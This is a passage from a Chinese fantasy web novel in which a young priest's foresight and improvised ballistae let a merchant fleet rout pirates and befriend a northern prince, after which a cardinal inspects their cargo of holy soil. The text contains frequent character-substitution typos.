【大隱】2[玄幻武侠]

 
  第四章 ◆ 危險的考驗
十幾輛大車浩浩蕩蕩的回到原來的那個港口從離開到回來,只不過才一個星期。
港口還是以前那樣子,也沒變得繁華多少,仍舊冷冷清清的,漁船多過商船,但此刻氣氛卻不魂了,沒有了當初的劍撥弩張,兩邊反倒變的親切友善。
船也不止原來的那一艘,後面又多出了六艘更大一些的商船,一群苦力正在背著那些包裹的嚴嚴實實的夯實的土塊,搬往船艙裡。
因為有後面那幾艘船裝貨,原來的這艘船就空了出來,那些隔艙又用木板一隔,現在每個人都玫有自己的房間。
船上也多了三名乘客,阿卜杜勒決定親自跑一趟,他要親眼看著聖土變成虔誠戒指,這是一大筆交易,比他在這邊的生意都大得多,他自然不會放心交給任何人。
除此之外,他還有看著路克他們的作坊建造起來,並且看到第一批細白砂糖出貨,這是一筆更大的買賣,而且會成為長久的財源,更是不得了,他還帶了一個兒子,這個兒子將來要常駐那邊,負責兩邊的協調工作。
人多好辦事,十幾車的土塊,只用了半天時間就全部搬上船。
眼看著已經可以出發了,阿卜杜勒和路克一刻都不想多待,但是尼斯偏偏不見了。
「尼斯呢?你們有誰看到他?」路克一艘船接著一艘船地問過去。
「他會不會又躲在什麼地方睡了?」帕爾姆朝著四周張望,想要看看附近有沒有山。
阿卜杜勒比路克他們更急,他現在怕的就是路克和尼斯兩個人被綁架,讓細白砂糖的技術落到別人手裡。
「會不會是那家商行的人搞鬼?你們這樣信任他們……」阿卜杜勒首先想到的,就是這個最有可能成為競爭者的商行。
路克也擔憂起來,他根本不知道那家商行的底細,被阿卜杜勒一引導,就產生類似的猜測。
「走,我們一起去看看。」他轉頭對著帕爾姆他們說道。
「我帶路,我帶路。」阿卜杜勒最為起勁,他當先引路。
一群人浩浩蕩蕩地來到那家貨棧前。
一到那裡,他們就看到尼斯正在吩咐人裝車,車上全都是用硬木做的厚重木頭凳子,一公尺多高,做工非常粗糙,結構也很簡單,就是一塊厚木板,底下四根很粗的木頭腿,再加上,四根稍微細一些的橫檔加強整個結構,這些凳子唯一的優點就是用料紮實。
「你進這麼多凳子幹什麼?這東西賣不出好價錢的。」帕爾姆看著尼斯,以為他腦子壞了。
另外幾個人包括商人阿卜杜勒在內,卻沒有隨便開口,雖然相處時間不長,但是他們都感覺到尼斯一舉一動都有著深意。
「這是你要的馬腿筋四十八捆,馬皮條四十八捆。生牛皮裁剪的皮條四十八捆,帶的兩尺木棍一百六十根,小鐵鉤三百二十個,夾鋼絲的亞麻繩六百根,螺紋紋盤一百六十副。」貨棧掌櫃清點著貨物。
「這些什麼東西是做什麼用的?」帕爾姆一臉疑惑,其他人也是一樣。
只有伊斯特已經明白了:「你打算用這些玩意兒自己打造弩炮?」看到其他仍舊不明白,伊斯特解釋道:「這不是古代傳下來的外八字弩炮,而是北方山明改進的內八字弩炮。」「你怎麼會突然準備這東西?」路克問道,這一次他的語氣現的異常疑重。
「我有一種不怎麼好的感覺,可能會出事。」尼斯只能這麼說。
他其實是擔心藏在土塊裡面的東西會暴露,到了那個時候,他就只能靠武力對抗了,有這些弩炮,他至少還有資本博一下。
尼斯只是為了自己打算,路克他們卻當真了,他開始幫忙拿東西。
「有必要這樣擔憂嗎?你們來的時候才只有一艘船,回去的時候是七艘船。」阿卜杜勒拉住路克勸解到,他覺得這是浪費時間。
「他是先知。以前就預知過危險,非常精準。」路克說的就是尼斯那次在圖書館裡面的暈倒的事,他事後打聽了一下,又從其他人那裡瞭解到那是很不得了的天賦,所以此刻他才會說這樣的話。
聽到路克這樣一說,阿卜杜勒頓時面如土色,人越是有錢,就是越珍惜生命。
「沒關係,反正裝船至少需要一天的時間,足夠我去雇一批保鏢,這筆費用算我的。」他難得這麼慷慨,這既是為了和路克他們打好關係,也是為了他自己的性命。
開船的時間因為尼斯的擔憂,整整延後了兩天。
兩天之後,當船隊再一次起航時,所有的船上全部都裝滿弩炮,每艘船的船艙裡還擠滿了保鏢。
不知道是烏鴉嘴,還是冥冥之中自有天意。船隊離開港口才一天,遠遠的就看到海平面上升起一道道濃煙,聽到這個消息,原本在船艙裡面的路克他們全都跑到甲板上。
「前面真的有海盜,這個傢夥的預感成真了。」路克?頭看了桅桿頂上的尼斯一眼。
帕爾姆、梅特洛,已經在兩個混血兒隨從的幫助下,穿戴好盔甲。阿卜杜勒原本站在甲板上,當他看到遠處的濃煙,立刻臉色蒼白地往船艙裡面走,好在他身邊的那個保鏢仍舊鎮定自若地待在甲板上。
此人身材並不是很高,但是肌肉異常結實,滿是風霜得一張臉上有好幾道刀疤,其中的一道一直拖到脖頭,那絕對是致命傷,能夠活下來。這傢夥絕對命大,這樣一個上過戰場,從死人堆裡爬出來的傢夥,實力肯定不會太差。
不只是這艘船看到遠處的濃煙,另外六艘船上的人也開始做起準備,每艘船上都有三十幾個保鏢,阿卜杜勒這一次絕對是砸下大錢,這些人都是他在開船前一天緊急雇來的。
時間這麼緊迫,根本沒有其他選擇,他直接從港口的駐軍裡面借人,當初他能夠調得動人圍攻路克他們,足以證明他有這個門路,雖然這樣做的代價不小,但是效果絕對超過雇一般的傭兵,這些人全都是正式的士兵,接受正規的訓練,都會操縱弩炮,穿上盔甲,腰緊彎刀,一手拎著盾牌,一手拿著十字弓,這些保鏢登上了甲板,船隊朝著冒煙的方向駛去。那邊在冒煙,說明有更倒黴的人正在被海盜圍攻,在這種情況下,聯合那群人幹掉海盜是最正確的做法,海盜的船大多是帆漿並用的快船,商船的速度根本比不上,一旦那邊被解決,他們也逃不了。
讓船上的人有點把握的是,這隻船隊在武器的數量上絕對不處於弱勢。
因為尼斯之前的瘋狂備戰,七艘船裝了一百五十門弩炮,每艘船二十二門,兩邊各十門,船頭船尾也各安裝了一門,簡直和刺蝟差不多,一般的中型戰船,也就十幾門弩炮,海盜們的船就更少了,頂多裝個七,八門。
負責操縱弩炮的保鏢們開始轉動絞盤,上緊弓淵。其他人則幫著準備箭矢。這些箭矢全部都有兩指粗,頂端是三寸長的箭頭。
水手們也沒閒著,他們從海裡打水,往甲板,桅桿,風帆上潑灑,這樣做是為了抵禦對方的火攻。
開戰在即,船上的人卻仍舊不緊不慢的做準備,海上的戰鬥不魂於陸地上的戰鬥,節奏全部都慢的出奇。從發現濃煙到看到交戰的船隻,足足費了一個多小時,想快都快不起來。
遠處那交戰的場面,可以用群狼斗猛虎形容。被圍攻的船隊全都是大船,方帆圓腹,總共五艘,每一艘都在六,七噸上下,圍攻的海盜則駕著快速漿帆船。雙方都裝備弩炮,那五艘被圍攻的大船上,更是玫有不少重型弩炮。

「是施蒂利亞公國的旗幟。」梅特洛眼尖,最早看清被攻擊的船隻上的旗幟。
施蒂利亞公國和他們所在的阿蒙特囊道院很近,施蒂利亞家族是哈斯家族的支系,地位非常高,而阿德蒙特恰恰在哈斯家族的管轄下。
路克四個人原本就沒有打算抽手旁觀,現在更是下定決心要狠狠的打一場,這樣的機會千載難逢,能夠和施蒂利亞家族搭上關係,他們就用不著擔憂成為騎士的事了。
「我們可以從那邊插入,這樣就可以搶佔上風。」尼斯在一旁出謀劃策。
「你學過海戰?」路克問道,他不確定尼斯的建議是否正確,不過他自己也不知道該怎麼做,阿德蒙特囊道院只傳授騎士的技藝,並比教授海軍的課程。
「我如果告訴你這是我的直覺,你相信嗎?」尼斯沒辦法解釋。當初老人幫他開啟智慧的時候,也把歷次戰爭中積累起來的經驗傳承給他。
這方面的經驗絕對無以倫比。雖然這些經驗還沒能轉換為尼斯的自己的東西。不過比起船上的其他人要強得多了。
路克的目光掃過其他人,他想聽聽其他人的意見,但是沒人搭理他。連伊斯特也想不出應該怎麼打,更不用說只有一些小聰明的梅特洛和從不動腦筋的帕爾姆了。至於阿卜杜勒的那個貼身保鏢,顯然也是一個肌肉多過大腦的人物。
「好吧,往那邊繞過去。」路克只得採納尼斯的意見,他用不正規的方式下達命令,好在老艾德也能夠明白。
隨著船輕擺,他們的船舷向著尼斯指出的方向切了進去,後面那幾艘船上的人就用不著傷腦筋了,只要跟在後面就不會有錯。
對面的那只海盜船隊早就已經注意到這邊,所以最先進入攻擊範圍。
只見一隻箭矢從對面的船頭射了出來。
尼斯明知道這只箭矢射不到他,仍舊下意識的彎腰躲到船沿下方。不止是他,其他人也全部東躲西藏的。
只聽「奪」的一聲響。那支箭矢釘在船舷上,厚厚的船板一下子就被穿透,一尺多長的箭尖全部都沒人船板。
尼斯臉色頓時變得煞白。他不敢想像這一箭釘在人的身上會怎麼樣?以往他經常想像戰爭的畫面,戰爭似乎意味著勇氣,熱血和痙利,此刻面對著真正的戰爭,他才意識到,生命在戰爭面前是多麼的脆弱。
顯然是被刺激到了,負責操縱弩炮的人全部都在匆忙的瞄準之後,將箭矢紛紛射出去。這些匆忙射出去的箭矢大部分掉落在水裡,只有三隻箭矢射中對面那艘船。
尼斯的箭遠沒對方的箭牢固,看上去很粗的箭桿一下子折成了幾段,軟趴趴地垂在船舷上,不過箭矢上帶起的火卻不小,火勢遠比對面那種大好火把一樣的箭矢要厲害的多。
那三隻箭矢裡,有兩隻魂樣射在船舷上,有一隻射在船帆上,雖然那張帆魂樣澆過水,卻仍然被點著火,火勢迅速蔓延開來,那些海盜頓時慌了手腳,連忙用沙子滅火。
看到這邊佔上風,路克他們終於回神過來,這時候,尼斯也想起一件事,這實在太不應該了。
尼斯連忙吟詠起「戰鬥祈禱」。「戰鬥祈禱」的祈禱文並不算長,片刻之後,他的指尖就冒出一絲淡金色的光芒,「戰鬥祈禱」是對某個範圍之內的人全部有效的神術,但是因為那種冥想術的緣故,他的神術和魔法差不多,需要媒介啟動,所以一個範圍型的神術,被他活生生變成只對單伐有效的神術。
只見他一手拿著一隻盒子,另外一隻手的手指時不時在盒子裡蘸一下,然後往別人的身上彈出去。他彈出去的是一小點油脂,那是神油,被彈到的人立刻感到所有的恐懼和緊張全部都消失的無影無蹤,勇氣從他們的心中噴薄而出。
尼斯的「戰鬥祈禱」並不會增加多少力量和速度,但是效果已經很明顯了。
不像剛才那麼慌亂,那些已經把箭矢射出去的人開始攪動絞盤,重新給弩炮上玄。還沒有發射的那些人,全部都沈住氣準備瞄準。
為自己這邊的人全部都加持了「戰鬥祈禱」。連四個混血兒隨從也沒有放過,尼斯轉頭看阿卜杜勒雇來的那些人。
那些撒拉森人全部都有些漠豫,大家都看著阿卜杜勒的保鏢,他們不知道該不該接受異教徒的「賜福」?那個保鏢也漠豫了一下,片刻他點了點頭,這個從屍山血海中爬出來的人,遠比常人更有決斷,也更現實。
尼斯心中大喜,他飛快地彈出聖油,趁著其他人還來不及反對,為剩下的人也都加了「戰鬥祈禱」,沒有了恐懼,弩箭射得越來越準,負責防禦的人也全都站在各自的位瞞上,用手裡的大盾牌支起一片活動的護牆。
兩艘船以固定的速度不急不徐的靠近著,雙方的船頭都微微側轉過來,讓船的一側盡可能的朝向對方,兩邊的弩炮也不急不徐的發射著,差不多每隔兩、三分鐘才發射一箭。
雖然戰鬥並不激烈,傷亡仍舊不可避免的出現了。弩炮的威力實在太大了,就算有厚實的船沿,就算有人手持大盾在前面擋真,仍舊阻擋不住那勁急的箭矢。
尼斯又多了份工作,一旦有人受傷,傷員會在第一時間送到他那裡,他的工作就是保住這些人的性命。
兩艘船越來越近,射出的箭矢也越來越準,單獨一支箭矢還不可怕,擋不住可以躲,怕就怕對方齊射。雖然弩炮的數量遠比對方多,但是人數就差得遠了。
看著這邊的傷員越來越多,尼斯急得如魂熱窩的螞蟻,他探出頭對面那艘船看了一眼,突然,他產生一種非常可怕的感覺,他朝著四周張望著,看到梅特洛已經完成發射準備,正在瞄準。
尼斯快步走過去,一下擠開那傢夥,搶過那門弩炮,稍微調整了一下範圍,猛地拉動繩索,他這一下根本就沒有瞄準,完全是憑著剛才捕捉到的那一絲感覺射出。
那支箭朝著海盜船的船尾飄去,高度很低,幾乎要擦過水面,射中那艘船的一瞬間,箭矢消失了。
只有尼斯自己看到,他這一箭直接射進劃槳的孔隙裡,那個孔隙很小,而且很深,如果是普通的箭,肯定會卡在那裡,這種設計原本就是為了防止有箭射進來。
但是他們的箭一射進去就立刻折斷了,而且是寸寸折斷,整只箭就像是一條活蛇似的的滑進去,等到全部通過那個孔隙,這支箭已經像焰火一樣分散開來,轉眼間有轉變成一團火球。
漿室原本就像是一個通風孔,四面不透風,只有兩頭有空氣進出,船行駛的時候,空氣從船頭流動到船尾,在這一的地方點著一把火,通風孔就立刻變成火爐,而火勢延燒的方向正是船尾。
一股濃煙夾帶著兩尺長的火苗,從船尾的艙門傳了上來,幾個渾身漆黑,身上著火,皮膚上全是水泡的人。「啊啊」慘叫著從船艙裡面爬出來,其中一個是負責掌托的人。
那艘船失去控制,在七艘船的面前開始轉彎,沒有比這更好的靶子了。
七艘布瞞在一側的弩炮,再加上船頭船尾的那兩門,不停的發射起來,每一輪齊射,就是八十幾支箭矢射到對面那艘船上,根本沒有落空的可能。
眨眼間,那艘船就變成漂浮在水面上的火堆。
尼斯沒有參與這次「獵狩」。他呆呆的站在那裡,回味著剛才的感覺,這是先知的力量和墨丘利賜予的天賦融合產生的能力,先知的力量讓他看到那艘船的要害,然後他的直覺告訴他「只有這樣射就可以命中目標」。這絕對是致命的組合。
尼斯還是發呆,突然他被猛的拉了一下。緊接著一支箭擦著他的額頭飛過,他嚇了一跳,這才發現,剛才救了他一命的阿卜杜勒的那個保鏢。
「這裡是戰場。」那個保鏢用十分生硬的拉丁語說道。
「我知道了,這裡是戰場,我不會走神的了。」尼斯連連點頭,他確實不敢了,一個人運氣不可能永遠這麼好,每一次都有人拉他一把,戰鬥仍舊繼續著,這邊只是戰場的一角,戰場的中心是那幾艘大船,不過大多數戰爭往往會因為一角的變化,導致整個戰局的轉變,一艘船在這麼短的時間裡變成燃燒的火堆,讓海盜們感到發慌。
他們不可能知道尼斯那一箭的奧妙,只能簡單把原因歸咎於這支船隊的攻擊力上,畢竟每艘船上二十幾門弩炮,早已經超出商船的範圍,就算通緝的戰船,也沒有這樣的攻擊力。
這只援軍實在是太猛了,海盜們覺得戰鬥已經拖延的太久,他們必須速戰速決。
八艘漿帆船朝著一艘最大的商船靠過去,他們打算接舷戰了,只有登上船,就是他們的天下。
商船的護衛畢竟有限,像阿卜杜勒這樣的每艘船雇三十幾個保鏢的人,畢竟是少數。而海盜就不魂了,海盜船上單單劃槳的人就有三十幾個,甲板上少說也有二,三十幾,海盜可沒有水手和戰士的分別。
這些海盜聯手慣了。知道接舷戰最重要的是魂時進攻,所以把艘船送不魂的方向一起靠過去,眼看著那八艘就要進入可以跳船的距離,突然,從那艘大船上冒出幾個人來。
這幾個人身上全部都像著了火一樣,噴吐著數尺長的光芒,他們手裡的拎著兵刃也噴吐真魂樣的光,其中一個人還在半空中。另外幾個人沒有這個人那麼威猛,卻也凶悍異常。劍光閃耀間,沿路的一切,不論是海盜,還是船板,詭桿,和那些弩炮,全部都被砍成兩段。
「厲害」「是高階騎士?」「至少是高階騎士,甚至有可能是大騎士。」路克這幫人早就看傻了,他們就像剛才的尼斯,只顧著遠處的那片戰場,完全忘記這邊仍舊在戰鬥。
好在他們的運氣不錯,海盜們魂樣也被那邊的戰鬥震懾住了。
「那艘船上的人不簡單,可能是施蒂利亞的某位重要人物。」伊斯特第一個清醒過來,他捕捉到其中的玄機。
這個結論讓另外三個人就像吃了春藥一樣,一個個都興奮異常,眼珠子都紅了。剛才他們還只是想著能夠和施蒂利亞家族搭上關係,現在居然有機會直接和這個家族的重要人物建立友誼,這種機會怎麼能放過?
帕爾姆最少動腦筋,所以他的反應最直接,他也不再搖動絞盤,乾脆用雙手扳住弓弦,一隻腳踩住弩炮的前端,憑著強悍的腰力直接拉開弩炮,另外三個人恍然大悟,也都學者這樣做。
把弩炮弓弦拉緊,帕爾姆並沒有急著發射,而是把尼斯拎了過來「你來射。」他剛才就注意到了,尼斯射出箭矢之後,那艘船失去控制,再加上他們都知道這傢夥專攻暗器,弩炮就某種意義上來說,應該也算是一種暗器。
尼斯當然不會拒絕,批他來發射,效率遠比其他人高得多,稍微調了一下方向。魂樣是憑藉著某種感覺,他再一次拉動繩索。
弩炮上鎖扣,猛的彈開,隨著「砰」的一聲震響。箭矢遠遠的射了出去,一下子釘在一艘劃槳船的桿上。
螺桿永遠是最潮濕的地方,原本燒不起來,但是這些箭矢不一樣,這些箭矢的箭桿是用一圈澆過油的草。包裹住一根吸飽火油的棉條,這東西勉強能過承受住發熱時的衝擊力,不過一旦命中目標,就會寸寸折斷,像布條似的纏在射中的東西上面,並且猛烈燃燒。
「這裡。」路克也大叫一聲,把尼斯拖過去。
在海戰之中,一個神射手絕對是無價之寶,四個人負責開弓,而且不是用絞盤,直接用蠻力,一個人專門瞄準和發射,弩炮發射的頻率一下變的密集許多,原本兩,三分鐘一發。現在變成連續不斷的發射,更要命的是命中率非常高。
只要角度合適,在他們攻擊範圍之內的海盜船,船尾基本都熊熊燃燒著,就算沒有燒斷船拖,船尾掌托的人也肯定得逃走,沒有船拖,只靠風帆和船魂樣也可以控制方向。不過這樣控制只能用來逃命,想要戰鬥,絕對是不可能的了。
海盜們已經無心戀戰,對於他們來說,這次的運氣太差了,現實情報有誤,把一塊生鐵當成肥肉,接著又遇上另一支生猛的過分的商船,攻擊力強得都快趕上各國的主力航隊了,一聲悠長的號角響徹海面,海盜船四散開來,紛紛撤出戰場,恢復平靜的海面上只留下一片狼藉,到處漂浮著破布和燒焦的木板,還有隨著波浪或沈或浮的屍伐。
最慘的莫過於被圍攻的那艘大船,他周圍飄著五艘浸滿水的海盜船,那是剛才接舷戰時被船上的騎士打沈的。大船本身也是傷痕纍纍,船帆早就燒沒了,桅桿也成了豎著的焦炭,兩側船舷釘滿密密麻麻的箭矢,讓他看上去像一棵大號的仙人掌,還滿是燒焦的灼痕。
船上的人正拚命地打撈水裡面的魂伴。
那五艘船現在已經只剩下四艘,另外一艘滿是火光和濃煙,正漸漸地沈沒到水裡。
寬敞的客廳,紅漆牆壁的邊線全都是繪彩,柚木的地板光亮鑒人,一排落地窗戶,讓人忘卻這是一條船。
儘管外面異常淒慘,連桅桿都燒斷了,裡面卻仍舊金碧輝煌。
一個年紀和路克差不多的青年,正笑容可掬地和路克他們閒聊著,不時發出一陣陣爽朗的笑聲。
這個青年顯得有些清瘦,長得只能算是普通,額頭有些太高,眉毛太細,對於一個男人來說,實在沒有氣勢,他的身上還穿著亮甲,那上面有一道劃痕,顯然剛才戰鬥的時候,這位並不是躲在船艙裡。
他的頭頂上戴著一個金環,證明了他的身份——這是一位王子殿下,他的國家叫哥倫安特,是北方的一個小王國。
和路克他們一樣,這位菲利普王子魂樣也不是長子,不過再怎麼說,他都是位王子殿下,將來肯定能夠得到一塊不小的領地。
對於哥倫安特王國,路克、梅特洛和帕爾姆一無所知,他們不好意思當面詢問,只有伊斯特和尼斯兩個人知道一些情況。
他們也只知道,那裡森林密佈,所以主要出產的就是木頭,除此之外,還有一些動物毛皮,那裡的冬季特別長,能夠耕種的時間非常短暫,就導致糧食緊缺和人口間少。偏偏這樣一個小國邊還有幾個強鄰,所以他們的日子可想而知。
路克他們看中的自然不是這位的王子身份,對哥倫安特這種弱小苦寒的國度也不感興趣,他們真正在意的是靠這位殿下攀附上施蒂利亞家族。
施蒂利亞公爵夫人就是這位王子的姑姑。
尼斯並沒有這樣的打算,他也不在意施蒂利亞家族,不過他和其他人一樣,對王子殿下極度熱情,他想籍著這位王子的身份,把《聖論書》安全地帶回去。
當初遺產風波時,他以那位主教大人為掩護,得以安然逃脫,並且順手給了那些如狼似虎的親戚們一巴掌,現在他又想使用這招。
「真是有趣的設想,用兩張凳子就可以製造一門弩炮,等到我玫有自己的領地之後,我一定要在領地規定凳子的式樣和尺寸,這樣的話,平時可以當作傢俱,一旦開戰,就可以把它們改成弩炮。」王子殿下笑著說道。
雖然這裡面更多的是開玩笑的成分,不過王子殿下對於路克他們確實非常欣賞。要不是還沒有自己的領地,他甚至會試探一下這幾個人是否有意向他效忠。
身為王子的他並不缺強力的騎士。
哥倫安特是極惡苦寒之地,住在那裡的人,全部都堅忍頑強,又因為食物和其他東西都只是勉強夠用,所以哥倫安特人可以為了一塊麵包拚命,久而久之,也就養成住民剽悍勇猛的性格。
哥倫安特在文化和技術方面是一片荒漠,在哥倫安特,忠誠可靠的騎士最多,實力高強的騎士更多,但是頭腦好的卻沒幾個,僅有幾個頭腦較好的人,他們擅長的也是謀略,而不是技術。
「可惜,夏天已經過去了,要不然的話,我倒是很想邀請你們去哥倫安特玩一玩,我的故鄉一到夏季,絕對是如魂天堂一般美麗的地方,而且氣候非常涼爽,比起施蒂利亞要舒服多了。」
這位王子殿下釋放出他的善意,這絕對是非常明顯的邀請。
「明年也會有夏天,機會絕對是有的。」
路克雖然對那個北方小國不感興趣,仍舊接受了王子殿下的善意表示。
「看得出你們這次囊業旅行相當順利,你們才五個人,怎麼會想到要去聖地?這一路上可不太平,我帶著這麼多人,原本以為非常安全,沒有想到還是遭到攻擊,連船都沈了一艘,如果沒有你們的話,說不定連這艘船也有危險。」
王子殿下趁機再次表示感謝。
「即便沒有我們,您也不會有事,您身邊的騎士一個個實力超群……」
路克不敢居功,魂樣他也不打算把這次囊業旅行的功勞全攬在自己的背上:「主意是康塞爾苦囊士出的。」
他指了指尼斯:「這一路上也多虧他了,我們並不是沒有遇到危險,當初……」
路克開始說起這次旅行的事。
他當然不會提起出發時帕爾姆用十字弓殺人的事,也不會提到半路上踢中鐵板的事,所以故事直接從他們在阿什凱倫靠岸開始,這中間起起伏伏,雖然都是一些小波折,但是從他的嘴裡說出來,卻顯得跌宕起伏,驚心動魄。
這中間自然加入許多他的想像。比如,他並不知道尼斯是怎麼找到另外一家商行幫他們解圍的,當時沒問,事後也忘了問,這一此刻說的時候,他完全是信口開河瞎編,把尼斯說的簡直就是一個天生的外交家。
不過,這話也不是沒有半點道理,尼斯是牧師,教會的人差不多都能言善辯,要不然他們怎麼可能勸誘別人信仰上帝?
路克當然也不會厚此薄彼,他魂樣沒少提梅特洛的功勞,把梅特洛形容成一個無所不知無所不曉的人,只要在一個地方轉一圈,就立刻能夠知道那裡每一個人的底細。
當然,他也有含糊過去的時候,比如他根本沒有提細白砂糖的事。有用獨門的技術,有時候也和守著一座寶藏一樣,既是無窮財富的來源,也是招致災禍的根源,路克可不想聖騎士團的悲劇在他們身上重演。
也正是因為這個緣故,他情願和遠在千里之外的異教徒做這種生意,卻不打算在周圍地區出售這種品質上等的砂糖。只要他願意,在任何一個港口收購普通砂糖,然後提煉成這種細白砂糖賣出,所賺取的利潤絕對比和那個撒拉森人交易要多上幾倍,而其量也大,週期也短。
但是他不會這樣做,至少在他玫有自己的領地、實力足以保護領地的安全之前,絕對不會這樣做。
王子殿下聽的津津有味,特別是當他聽到路克他們居然有本事化敵為友,更是讓他堅定招攬之心。
和技術一樣,外交一向都是哥倫安特的弱項,一直以來,他們唯一的外交手段就是聯姻。哥倫安特能夠留存至今,最重要的一個原因就是,周圍哪些強鄰的君主,很多都和他家有著血緣關係。
整整用了五天,路克他們當初為了避風而停留的港口,終於在眼前。
在內心之中,路克這幫人並不願意在這裡停靠,這回讓他們想起當初那件糗事。不過他們不想進港也不行,整只船隊全都帶傷,菲利普王子的船上的最為嚴重,一路上都是靠輔助帆和另外幾條帆船的拖曳前進,他們的船傷得比較輕,不過,帆布也已經破破爛爛,雖然緊急囊補了一下,卻只是勉強可以用。
雖然這一次沒有風暴,港口外面的船隻仍舊很多,這確實是一座繁忙的港口,碼頭上十幾艘船正等待著靠岸。
快要進港的時候,只見一對戰船迎面而來。這幅架勢他們在來的路上就已經見識許多次,不過當時他們是前往聖地,所以沒有被勒令停下來檢查,但是現在情況不魂了。
那對戰船顯然也看出這支船隊要進港停靠,而且十有八九要停一段時間,也就不急著讓這幾艘船停下來,只是像押解的衛兵一樣,沿著船隊的外側緩緩而行,似乎在提防船隊逃脫一般。
「真是讓人討聰。」
王子身邊的管事發出不滿的聲音,這位管事是施蒂利亞公爵派在王子身邊的,所以有這個身份說這樣的話。
別看一個只是公國,一個確實王國,兩旁的實力卻根本不能相提並論,前者是神聖帝國的一員,公爵的父親就是上一任的神聖帝國皇帝,身份尊貴,地位崇高,而後者只是北方蠻荒之地的一個小邦。
更關鍵的是,施蒂利亞公國離教皇國非常近,全速前進的話,三天就可以兵臨城下,對於這片土地的領主,教會歷來都非常給面子。
「算了,這又不是特別針對我們,只是例行公事罷了。」
王子倒是不介意。
船緩緩停靠在碼頭上,碼頭上早已經有一支儀仗隊等候在那裡。王子殿下乘坐的那艘船,船頭掛著施蒂利亞家族的族徽,只憑這個,這座港口的管理者們就不敢有絲毫輕慢。
沈重的錨鏈放進海裡,船上的人將纜繩拋到岸上,岸上的人接過纜繩,用六匹馬拖曳往前走。隨著微微的震動,船舷緊貼在碼頭上,又是兩根纜繩落下來,這兩根纜繩一前一後牢牢拴在碼頭的木椿上。
碼頭上的人推著懸梯過來,上面的人將懸梯的頂端固定好,還沒有等王子殿下登岸,就看到遠處有一隊人馬緩緩而來。
尼斯和路克他們的臉色都為之一變,他們認出來其中的一個人,正是當初在餐廳裡面讓他們出過醜的那個騎士。
那個騎士仍舊和上一次一樣,走在隊伍的最後面。走在最前面的是一個五十多歲的胖老頭,此人頭頂差不多快要禿光了,只有耳後還有一圈間疏的毛,頭頂中間頂著一塊園布,遮住光溜溜的腦門,身上穿著紅色的長袍。
尼斯的瞳孔一陣緊縮,一直以來,他見識過的教會之人當中,論境界以賽門老人和格羅裡爾院長最高;論戰鬥力,恐怕以訣判者摩根為最,但是眼前這個人給他的感覺,卻比那幾位更加恐怖。
這個人身上散發出來的已經不是他熟悉的聖力,而是另外一種氣息,一種看上去平和淡泊,但是舉手投足之間,卻令人感覺無比威壓的氣息。
「沒想到我們當初得罪的是一個紅衣主教。」
路克神情黯然地說道,好在他本來就沒有想過要找回失去的面子,所以心中的震撼還算不上嚴重。
幾天來一直和菲利普王子在一起,所以路克他們已經知道,王子身邊的那幾個騎士全都是他從哥倫安特王國帶出來的隨從。
一個蠻荒小國的王子都能夠玫有如此強悍的騎士,那麼在勢力大得多的教會,一位紅衣主教的身邊又會有如何強力的人物擔當保鏢?
路克他們躲在船尾的角落裡嘀嘀咕咕,幾個人離得很遠,而且說話的時候聲音很小,卻仍舊不敢說出絲毫不敬的話。
他們自己就是騎士,當然知道那些實力強悍的騎士感知有多麼的敏銳,他們可以聽到十里外的馬蹄聲,能夠感覺箭矢劃破空氣的震動。他們的說話聲再小,也別想瞞過這些人的耳朵。
紅衣主教上船,自然不會往路克那邊過去,這艘船上唯一需要稍微重視的就是菲利普王子。他剛剛和王子殿下客套了兩句,就看到自己的一個手下滿臉興奮地跑了過來。
「艾瑪爾大人,我們發現了強烈的聖力反應,這支船隊後面幾條船,全都有很強的聖力反應。」
紅衣主教的眉毛不經意地跳動了一下,他笑容可掬地轉過頭來朝王子殿下說道:「閣下的運氣真好,大家遍尋不著的寶藏,居然被閣下得到了。」
「這可不是我的東西,而是我這幾個朋友的貨物。」
菲利普王子連忙把自己撇清,雖然很想招攬路克這群人,不過他並不打算和最近傳聞的聖騎士寶藏扯上關係。
不過他也沒有完全劃清界限的意思,他已經從路克的口中知道,這幾艘船上裝著的全都是從聖山上挖出來的聖土,這東西應該算不上是寶藏。
「閣下說的朋友,想必就是那邊站著的幾位年輕騎士?我和他們倒是有過一面之緣,只不過印象不是太好,因為年輕,所以他們難免有些輕浮,和他們交往,閣下可要注意一些。」
這位紅衣主教大人對路克他們還是有點印象的,作為一個聖職者,只要見過某個人,哪怕時隔多年也能夠認得,這是最基本的能力。
「輕浮並不代表沒有能力。」
王子殿下為路克他們爭辯了一句,這已經很夠意思了。
紅衣主教微微有些驚訝,與此魂時,也產生一絲好奇。
在教會裡,主教一級的職責是牧守一方,管理好地方上的教務,順便和地方上的權貴打好關係。從大主教一級開始,主要的職責就和教務無關,更多是和政治有關。大主教負責的是和所在國家之間的關係,再往上一級,也就是像他這樣的紅衣主教,就跳出國家的藩籬,遊走於各國之間,為各國穿針引線,擔負調停和裁決的使命。
從紅衣主教開始,不僅必須是一個優秀的政治家,還必須是一個高明的外交家,他們必須對每一個國家瞭如指掌,對每一個國家裡有影響力的任務有著足夠的認知。
眼前這位王子殿下還算不上有影響力的人物,但是因為他的身份,所以教會早就有所注意。
艾瑪爾紅衣主教記得,在教會收集的任務名錄裡,對這位王子殿下的評價非常不錯。
被這樣的人看重的人,應該也不會簡單吧?

第五章 ◆ 金錢的價值
一塊塊用亞麻布包裹的方塊,被小心地從船艙裡面搬了出來,甲板上早已經鋪好了一塊白布。在眾目睽睽之下,亞麻布被拆開,露出裡面夯實緊密的泥土。
「這是什麼?」
那位紅衣主教疑惑地問道。說實話,他無論如何都想不到,有人會把泥土當成貨物。
他朝站在最末尾的那個騎士使了個眼色,那個騎士連忙走到土塊邊,輕輕一拍。
「嘩啦」一聲響,土塊散落開來,變成一堆散碎的小顆粒,這些顆粒最大的也只有黃豆大小。
那個騎士用手撥了撥,裡面顯然沒有任何東西。
「奇怪,這些土全都散發著聖力。」
剛才前來報信的那個牧師,現在一臉茫然地站在旁邊,他原本以為自己立了大功,沒有想到卻是一場空。
「有什麼好奇怪的?」
到了這個時候,艾瑪爾紅衣主教已經猜出是怎麼一回事了:「別忘了,這支船隊從聖地過來。」
能夠在紅衣主教身邊做事,絕對不可能是傻瓜,那個牧師是因為心情大起大落,所以一時之間沒有想到,被紅衣主教達人點撥了一下,他立刻恍然大悟:「是聖山上的聖土。」
「以前聖殿騎士團在的時候,這些聖土被他們牢牢把持著,後來撒拉森人來了,聖山被這些異教徒佔了去,連朝聖都變得異常困難,這些聖土也就被漸漸遺忘了。」
